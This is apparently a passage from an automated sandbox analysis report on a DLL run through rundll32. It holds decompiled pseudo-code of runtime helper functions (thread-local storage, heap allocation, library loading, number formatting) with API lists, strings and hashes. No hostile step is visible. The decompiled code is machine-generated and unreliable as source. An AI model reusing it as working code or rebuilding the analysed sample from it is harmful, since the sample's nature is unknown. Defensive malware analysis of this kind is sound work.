						if(_t34 != 0) {
							goto L7;
						}
						__eflags = _t85 - 0x2710;
						_t53 = _t85;
						asm("sbb eax, 0x0");
						if(_t85 < 0x2710) {
							_t36 = 0x27;
							L18:
							__eflags = _t53 - 0x63;
							if(_t53 > 0x63) {
								_t66 = _t53 & 0x0000ffff;
								_t53 = (_t66 >> 2) * 0x147b >> 0x11;
								 *((short*)(_t96 + _t36 + 6)) =  *((_t66 - _t53 * 0x00000064 & 0x0000ffff) + (_t66 - _t53 * 0x00000064 & 0x0000ffff) + 0x6e7eb61c) & 0x0000ffff;
								_t36 = _t36 + 0xfffffffe;
								__eflags = _t36;
							}
							__eflags = _t53 - 0xa;
							if(_t53 >= 0xa) {
								_t24 = _t53 + 0x6e7eb61c; // 0x31303030
								 *((short*)(_t96 + _t36 + 6)) =  *(_t53 + _t24) & 0x0000ffff;
								_t37 = _t36 + 0xfffffffe;
								__eflags = _t37;
							} else {
								 *((char*)(_t96 + _t36 + 7)) = _t53 + 0x30;
								_t37 = _t36 - 1;
							}
							_push(0x27 - _t37);
							_push(_t96 + _t37 + 8);
							_push(0);
							_t38 = E6E7A1AA0( *_t96, 0x6e7ecd60);
							_t96 = _t96 + 0xc;
							_t52 = _t38;
							goto L7;
						}
						_t39 = 0x27;
						do {
							_t94 = _t39;
							_t88 = E6E7B9F10(_t53, _t91, 0x2710, 0);
							 *(_t96 + 4) = E6E7B9F90(_t53, _t91, 0x2710, 0);
							_t45 = ((_t88 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
							_t8 = _t45 + 0x6e7eb61c; // 0x31303030
							__eflags = 0x5f5e0ff - _t53;
							_t53 =  *(_t96 + 4);
							asm("sbb ecx, esi");
							_t91 = _t78;
							 *((short*)(_t96 + _t94 + 4)) =  *(_t45 + _t8) & 0x0000ffff;
							 *((short*)(_t96 + _t94 + 6)) =  *((_t88 - _t45 * 0x00000064 & 0x0000ffff) + (_t88 - _t45 * 0x00000064 & 0x0000ffff) + 0x6e7eb61c) & 0x0000ffff;
							_t16 = _t94 - 4; // 0x23
							_t39 = _t16;
						} while (__eflags < 0);
						goto L18;
					}
					 *((intOrPtr*)(_t96 + 8)) = _t62 + 0x61;
					_t50 = E6E7A3660(_t96 + 8, _t96 + 8,  *_t96);
					_t96 = _t96 + 8;
					_t52 = _t50;
					goto L7;
				}
				_push(0x10);
				_t51 = E6E7A1DE0( *_t96,  &M6E7ECB85);
				_t96 = _t96 + 4;
				if(_t51 != 0) {
					goto L7;
				}
				 *__ecx = 1;
				goto L6;
			}

0x6e7a6d14
0x6e7a6d17
0x6e7a6d1c
0x6e7a6d6c
0x6e7a6d6c
0x6e7a6d6e
0x00000000
0x6e7a6d70
0x6e7a6d29
0x6e7a6d2b
0x6e7a6d30
0x6e7a6d33
0x6e7a6d37
0x00000000
0x00000000
0x6e7a6d41
0x6e7a6d7f
0x00000000
0x6e7a6d86
0x6e7a6d46
0x6e7a6d49
0x6e7a6d4b
0x6e7a6d4d
0x6e7a6d4f
0x6e7a6d8b
0x6e7a6d90
0x6e7a6d93
0x6e7a6db0
0x6e7a6db5
0x6e7a6dba
0x6e7a6dbc
0x6e7a6dc1
0x6e7a6dc4
0x6e7a6dc6
0x00000000
0x00000000
0x6e7a6dc8
0x6e7a6dd0
0x6e7a6dd2
0x6e7a6dd5
0x6e7a6e50
0x6e7a6e55
0x6e7a6e55
0x6e7a6e58
0x6e7a6e5a
0x6e7a6e68
0x6e7a6e7b
0x6e7a6e80
0x6e7a6e80
0x6e7a6e80
0x6e7a6e83
0x6e7a6e86
0x6e7a6e92
0x6e7a6e9a
0x6e7a6e9f
0x6e7a6e9f
0x6e7a6e88
0x6e7a6e8b
0x6e7a6e8f
0x6e7a6e8f
0x6e7a6eb5
0x6e7a6eb6
0x6e7a6eb7
0x6e7a6eb9
0x6e7a6ebe
0x6e7a6ec1
0x00000000
0x6e7a6ec1
0x6e7a6dd7
0x6e7a6de0
0x6e7a6de0
0x6e7a6df0
0x6e7a6e00
0x6e7a6e10
0x6e7a6e16
0x6e7a6e25
0x6e7a6e27
0x6e7a6e30
0x6e7a6e32
0x6e7a6e34
0x6e7a6e44
0x6e7a6e49
0x6e7a6e49
0x6e7a6e49
0x00000000
0x6e7a6e4e
0x6e7a6d9c
0x6e7a6da4
0x6e7a6da9
0x6e7a6dac
0x00000000
0x6e7a6dac
0x6e7a6d59
0x6e7a6d5b
0x6e7a6d60
0x6e7a6d65
0x00000000
0x00000000
0x6e7a6d67
0x00000000

APIs

__aullrem.LIBCMT ref: 6E7A6DEB
__aulldiv.LIBCMT ref: 6E7A6DFB

Strings

{invalid syntax}, xrefs: 6E7A6D54
'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A6D24
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6E7A6D7A, 6E7A6DB5

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: b4dd61e1893cc3eec35f1097495bd551401c0fb97f8b607d9caf00d17eef3285
Instruction ID: 779c19b400cb2cb13a24813e221bac1275bcf43d2bc77550ea8136f6f526ba30
Opcode Fuzzy Hash: b4dd61e1893cc3eec35f1097495bd551401c0fb97f8b607d9caf00d17eef3285
Instruction Fuzzy Hash: EB419D757282104BE7148EECCA44B2AB6D5DF84744F10463DEA899F3F6E665C9018392

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AD1B0, Relevance: 8.8, APIs: 7, Instructions: 85
memoryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E6E7AD1B0(void* __ebx, void* __edi) {
				void _v20;
				long _v24;
				intOrPtr _v28;
				char _v32;
				void* _v33;
				void* _v35;
				void* _v36;
				signed int _v39;
				void* _v44;
				long _v48;
				char _v76;
				void* __esi;
				long _t30;
				void* _t32;
				long _t33;
				void* _t35;
				void* _t37;
				void* _t38;
				signed char _t43;
				signed char _t44;
				signed int _t46;
				void** _t49;
				void* _t51;
				long _t53;
				void* _t55;
				signed int _t61;
				signed int _t63;
				intOrPtr* _t65;
				void* _t67;
				void* _t77;
				void* _t79;
				void* _t80;
				void* _t82;
				void* _t89;
				void* _t90;
				void* _t91;

				_t77 = __edi;
				_t55 = __ebx;
				_push(_t79);
				_t30 =  *0x6e7fa04c; // 0x0
				if(_t30 == 0) {
					_t32 = TlsGetValue(E6E7B2B10(__ebx, 0x6e7fa04c, __edi, _t79));
					__eflags = _t32 - 1;
					if(_t32 <= 1) {
						goto L5;
					} else {
						goto L4;
					}
				} else {
					_t32 = TlsGetValue(_t30);
					if(_t32 > 1) {
						L4:
						__eflags =  *_t32 - 1;
						_t82 = _t32;
						if( *_t32 == 1) {
							goto L18;
						} else {
							goto L5;
						}
					} else {
						L5:
						_t33 =  *0x6e7fa04c; // 0x0
						if(_t33 == 0) {
							_t35 = TlsGetValue(E6E7B2B10(_t55, 0x6e7fa04c, _t77, _t79));
							__eflags = _t35;
							if(_t35 != 0) {
								goto L7;
							} else {
								goto L10;
							}
						} else {
							_t35 = TlsGetValue(_t33);
							if(_t35 == 0) {
								L10:
								_t37 =  *0x6e7fadc8; // 0x680000
								__eflags = _t37;
								if(_t37 != 0) {
									L13:
									_t38 = HeapAlloc(_t37, 0, 0xc);
									__eflags = _t38;
									if(__eflags == 0) {
										goto L20;
									} else {
										 *_t38 = 0;
										 *(_t38 + 8) = 0x6e7fa04c;
										_t82 = _t38;
										_t53 =  *0x6e7fa04c; // 0x0
										__eflags = _t53;
										if(_t53 == 0) {
											_t53 = E6E7B2B10(_t55, 0x6e7fa04c, _t77, _t82);
										}
										TlsSetValue(_t53, _t82);
										goto L17;
									}
								} else {
									_t37 = GetProcessHeap();
									__eflags = _t37;
									if(__eflags == 0) {
										L20:
										E6E7C6C30(_t55, 0xc, 4, _t77, _t79, __eflags);
										asm("ud2");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t55);
										_push(_t77);
										_push(_t79);
										_t90 = _t89 - 0x38;
										_v36 = _t90;
										_v24 = 0xffffffff;
										_v28 = E6E7B3B60;
										_v32 =  *[fs:0x0];
										 *[fs:0x0] =  &_v32;
										_v48 = 0xc;
										_v44 = 4;
										_v24 = 0;
										asm("movsd xmm0, [edx+0x10]");
										asm("movsd xmm2, [edx]");
										asm("movsd xmm1, [edx+0x8]");
										asm("movsd [ebp-0x34], xmm0");
										asm("movsd [ebp-0x3c], xmm1");
										asm("movsd [ebp-0x44], xmm2");
										_push( &_v76);
										E6E7A2320( &_v48, 0x6e7ed390);
										_t91 = _t90 + 4;
										_t43 = _v44;
										__eflags = _t43;
										if(_t43 == 0) {
											_t44 = 4;
											__eflags = 4 - 3;
											if(4 != 3) {
												_t61 = 0x6e7ed388;
											} else {
												_t65 = _v36;
												_v48 = _t65;
												_v20 = 1;
												 *((intOrPtr*)( *((intOrPtr*)(_t65 + 4))))( *_t65);
												_t91 = _t91 + 4;
												_t49 = _v48;
												_t67 = _t49[1];
												__eflags =  *(_t67 + 4);
												if( *(_t67 + 4) != 0) {
													_t51 =  *_t49;
													__eflags =  *((intOrPtr*)(_t67 + 8)) - 9;
													if( *((intOrPtr*)(_t67 + 8)) >= 9) {
														_t51 =  *(_t51 - 4);
													}
													HeapFree( *0x6e7fadc8, 0, _t51);
												}
												HeapFree( *0x6e7fadc8, 0, _v36);
												_t61 = 0x6e7ed388;
												_t44 = 4;
											}
											goto L32;
										} else {
											__eflags = _t43 - 4;
											if(_t43 != 4) {
												_t44 = _t43;
												_t63 = _v39;
											} else {
												_t61 = 0x6e7ed388;
												_t44 = 2;
												L32:
												_t63 = _t61 << 0x00000018 | 0x00000028;
												__eflags = _t63;
											}
										}
										_t46 = _t44 & 0x000000ff | _t63 << 0x00000008;
										__eflags = _t46;
										 *[fs:0x0] = _v28;
										return _t46;
									} else {
										 *0x6e7fadc8 = _t37;
										goto L13;
									}
								}
							} else {
								L7:
								_t80 = 0;
								if(_t35 != 1) {
									_t82 = _t35;
									L17:
									 *_t82 = 1;
									 *(_t82 + 4) = 0;
									L18:
									_t80 = _t82 + 4;
								}
								return _t80;
							}
						}
					}
				}
			}

0x6e7ad1b0
0x6e7ad1b0
0x6e7ad1b0
0x6e7ad1b1
0x6e7ad1b8
0x6e7ad1d3
0x6e7ad1d9
0x6e7ad1dc
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad1ba
0x6e7ad1bb
0x6e7ad1c4
0x6e7ad1de
0x6e7ad1de
0x6e7ad1e1
0x6e7ad1e3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad1c6
0x6e7ad1e9
0x6e7ad1e9
0x6e7ad1f0
0x6e7ad213
0x6e7ad219
0x6e7ad21b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad1f2
0x6e7ad1f3
0x6e7ad1fb
0x6e7ad21d
0x6e7ad21d
0x6e7ad222
0x6e7ad224
0x6e7ad234
0x6e7ad239
0x6e7ad23e
0x6e7ad240
0x00000000
0x6e7ad242
0x6e7ad242
0x6e7ad248
0x6e7ad24f
0x6e7ad251
0x6e7ad256
0x6e7ad258
0x6e7ad25f
0x6e7ad25f
0x6e7ad266
0x00000000
0x6e7ad266
0x6e7ad226
0x6e7ad226
0x6e7ad22b
0x6e7ad22d
0x6e7ad280
0x6e7ad28a
0x6e7ad28f
0x6e7ad291
0x6e7ad292
0x6e7ad293
0x6e7ad294
0x6e7ad295
0x6e7ad296
0x6e7ad297
0x6e7ad298
0x6e7ad299
0x6e7ad29a
0x6e7ad29b
0x6e7ad29c
0x6e7ad29d
0x6e7ad29e
0x6e7ad29f
0x6e7ad2a3
0x6e7ad2a4
0x6e7ad2a5
0x6e7ad2a6
0x6e7ad2a9
0x6e7ad2ac
0x6e7ad2b3
0x6e7ad2c4
0x6e7ad2c7
0x6e7ad2d0
0x6e7ad2d3
0x6e7ad2d7
0x6e7ad2e1
0x6e7ad2e6
0x6e7ad2ea
0x6e7ad2f4
0x6e7ad2f9
0x6e7ad2fe
0x6e7ad303
0x6e7ad304
0x6e7ad309
0x6e7ad30c
0x6e7ad30f
0x6e7ad311
0x6e7ad329
0x6e7ad32b
0x6e7ad32e
0x6e7ad39f
0x6e7ad330
0x6e7ad330
0x6e7ad335
0x6e7ad33b
0x6e7ad343
0x6e7ad345
0x6e7ad348
0x6e7ad34b
0x6e7ad34e
0x6e7ad352
0x6e7ad354
0x6e7ad356
0x6e7ad35a
0x6e7ad35c
0x6e7ad35c
0x6e7ad368
0x6e7ad368
0x6e7ad378
0x6e7ad37d
0x6e7ad387
0x6e7ad387
0x00000000
0x6e7ad313
0x6e7ad313
0x6e7ad316
0x6e7ad393
0x6e7ad39a
0x6e7ad318
0x6e7ad318
0x6e7ad322
0x6e7ad3a9
0x6e7ad3af
0x6e7ad3af
0x6e7ad3af
0x6e7ad316
0x6e7ad3bf
0x6e7ad3bf
0x6e7ad3c1
0x6e7ad3cf
0x6e7ad22f
0x6e7ad22f
0x00000000
0x6e7ad22f
0x6e7ad22d
0x6e7ad1fd
0x6e7ad1fd
0x6e7ad1fd
0x6e7ad202
0x6e7ad204
0x6e7ad26c
0x6e7ad26c
0x6e7ad272
0x6e7ad279
0x6e7ad279
0x6e7ad279
0x6e7ad27f
0x6e7ad27f
0x6e7ad1fb
0x6e7ad1f0
0x6e7ad1c4

APIs

TlsGetValue.KERNEL32(00000000,00000001,6E7AC906), ref: 6E7AD1BB
TlsGetValue.KERNEL32(00000000,00000001,6E7AC906), ref: 6E7AD1D3
TlsGetValue.KERNEL32(00000000), ref: 6E7AD1F3
TlsGetValue.KERNEL32(00000000), ref: 6E7AD213
GetProcessHeap.KERNEL32 ref: 6E7AD226
HeapAlloc.KERNEL32(00680000,00000000,0000000C), ref: 6E7AD239
TlsSetValue.KERNEL32(00000000,00000000,00680000,00000000,0000000C), ref: 6E7AD266

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: a7ec6b30f7e5019337196e2b02ae402fc3ebb9d3c933b06180de4c6fdacd7c3d
Instruction ID: f0edd5efb0ad4d739c8a92b266b5d95820cd6f4800ef4ae0bde07f5ac30dca5b
Opcode Fuzzy Hash: a7ec6b30f7e5019337196e2b02ae402fc3ebb9d3c933b06180de4c6fdacd7c3d
Instruction Fuzzy Hash: E6115E71704611DBEB505FF9EA58B56379DAB02A49F024A35DF01CB2A0EB35D840CF68

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C0EB1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7C0EB1(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E6E7C19B3(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E6E7C0D08(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E6E7BF8B5(GetLastError());
									_t18 =  *((intOrPtr*)(E6E7BF90F()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E6E7C0F73(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6E7BF8B5(GetLastError());
						_t18 =  *((intOrPtr*)(E6E7BF90F()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E6E7C0F73(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6E7C0F9A(_a8);
				return 0;
			}

0x6e7c0eb7
0x6e7c0ebc
0x6e7c0ed3
0x6e7c0f05
0x6e7c0f0f
0x6e7c0f28
0x6e7c0f2e
0x6e7c0f3c
0x6e7c0f49
0x6e7c0f50
0x6e7c0f69
0x6e7c0f6c
0x6e7c0f52
0x6e7c0f59
0x6e7c0f64
0x6e7c0f64
0x6e7c0f6e
0x6e7c0f6f
0x00000000
0x6e7c0f6f
0x6e7c0f33
0x6e7c0f3a
0x00000000
0x00000000
0x00000000
0x6e7c0f3a
0x6e7c0f18
0x6e7c0f23
0x00000000
0x6e7c0f23
0x6e7c0ed5
0x6e7c0edb
0x6e7c0eee
0x6e7c0ef1
0x6e7c0ef3
0x6e7c0ef5
0x00000000
0x6e7c0ef5
0x6e7c0ee1
0x6e7c0ee8
0x00000000
0x00000000
0x00000000
0x6e7c0ee8
0x6e7c0ec1
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6E7C0ECD

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: ae24ec18ff1ec9595f2c9b78041d1339e492609aaab1abbaea9bba3d3745c393
Instruction ID: 9e6973a67836b951232b82b8a18ab3b7d00207192e5837c34d5acacc67f3e856
Opcode Fuzzy Hash: ae24ec18ff1ec9595f2c9b78041d1339e492609aaab1abbaea9bba3d3745c393
Instruction Fuzzy Hash: F82192B521821ABF9740AFF5CE4498B77BDEF45B68B104924F814D7260F731E8808BD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BDD62, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7BDD62(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x6e7fb208 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x6e7f2ec8 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E6E7BF838(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x6e7bdd69
0x6e7bdddd
0x6e7bdd6e
0x6e7bdd70
0x6e7bdd77
0x6e7bdd7b
0x6e7bdd84
0x6e7bdd93
0x6e7bdd9c
0x6e7bdda0
0x6e7bdde9
0x6e7bddeb
0x6e7bddef
0x6e7bddf2
0x6e7bddf2
0x6e7bddf8
0x6e7bddf8
0x6e7bdde4
0x6e7bdde8
0x6e7bdde8
0x6e7bdda2
0x6e7bddab
0x6e7bddd5
0x6e7bddd8
0x6e7bddda
0x6e7bddda
0x00000000
0x6e7bddda
0x6e7bddad
0x6e7bddb8
0x6e7bddbd
0x6e7bddc2
0x00000000
0x00000000
0x6e7bddc9
0x6e7bddcf
0x6e7bddd3
0x00000000
0x00000000
0x00000000
0x6e7bddd3
0x6e7bdd80
0x00000000
0x00000000
0x00000000
0x6e7bdd82
0x6e7bdde2
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,6E7BDE23,00000000,?,00000001,00000000,?,6E7BDE9A,00000001,FlsFree,6E7F2F84,FlsFree,00000000), ref: 6E7BDDF2

Strings

api-ms-, xrefs: 6E7BDDB2

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 72f816f1f53ebbc0e1c4a7bad2e3fcb106cd903de409b256c2384083351a2e78
Instruction ID: 471b657958e571df2834094dd5fb6056405144f9f6f7a5a9fa3624fd10f6157a
Opcode Fuzzy Hash: 72f816f1f53ebbc0e1c4a7bad2e3fcb106cd903de409b256c2384083351a2e78
Instruction Fuzzy Hash: 8511CA32A656259FDF124FD89D4474A37A8AF02B70F110132FA51E7294D770F9018ED9

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BEC2D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6E7BEC2D(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x6e7fa4a4; // 0x4e6749c0
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], E6E7C7473, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x6e7c8154(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x6e7bec42
0x6e7bec4d
0x6e7bec53
0x6e7bec57
0x6e7bec62
0x6e7bec6a
0x6e7bec74
0x6e7bec7a
0x6e7bec7e
0x6e7bec85
0x6e7bec8b
0x6e7bec8b
0x6e7bec7e
0x6e7bec91
0x6e7bec96
0x6e7bec96
0x6e7bec9f
0x6e7beca9

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4E6749C0,00000000,?,00000000,6E7C7473,000000FF,?,6E7BEBBD,?,?,6E7BEB91,?), ref: 6E7BEC62
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E7BEC74
FreeLibrary.KERNEL32(00000000,?,00000000,6E7C7473,000000FF,?,6E7BEBBD,?,?,6E7BEB91,?), ref: 6E7BEC96

Strings

CorExitProcess, xrefs: 6E7BEC6C
mscoree.dll, xrefs: 6E7BEC5B

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 882a6c0748f14e1890bc7ca7e54b2e2d2a15bbe79687a291afe5ebdcacec0625
Instruction ID: afa364a1131d0429b49c32766af5318b745e70c4d5440db12dc4a8c7adfb5c3a
Opcode Fuzzy Hash: 882a6c0748f14e1890bc7ca7e54b2e2d2a15bbe79687a291afe5ebdcacec0625
Instruction Fuzzy Hash: ED014472904959EFEB019F94DE08FAEBBBDFB05B10F000635E811A63A0DB74A540CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC440, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC440() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("kernel32");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "SetThreadDescription");
				}
			}

0x6e7ac445
0x6e7ac44d
0x6e7ac45c
0x6e7ac44f
0x6e7ac45b
0x6e7ac45b

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E7AC445
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6E7AC455

Strings

SetThreadDescription, xrefs: 6E7AC44F
kernel32, xrefs: 6E7AC440

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 90fdb42fa921e53d04e4c20bd21512d2a185fce415989aa473fe71885e7e73d0
Instruction ID: 3c1cb801d1f7fd1fa216fb94862a7f900c9f60810a729522e275f6b64621387f
Opcode Fuzzy Hash: 90fdb42fa921e53d04e4c20bd21512d2a185fce415989aa473fe71885e7e73d0
Instruction Fuzzy Hash: B0B092B16049026BBE90ABF25F1CA273A5DAA99B527004464AB12D9520EA209140AD69

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC420, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC420() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("kernel32");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "GetSystemTimePreciseAsFileTime");
				}
			}

0x6e7ac425
0x6e7ac42d
0x6e7ac43c
0x6e7ac42f
0x6e7ac43b
0x6e7ac43b

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E7AC425
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6E7AC435

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6E7AC42F
kernel32, xrefs: 6E7AC420

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
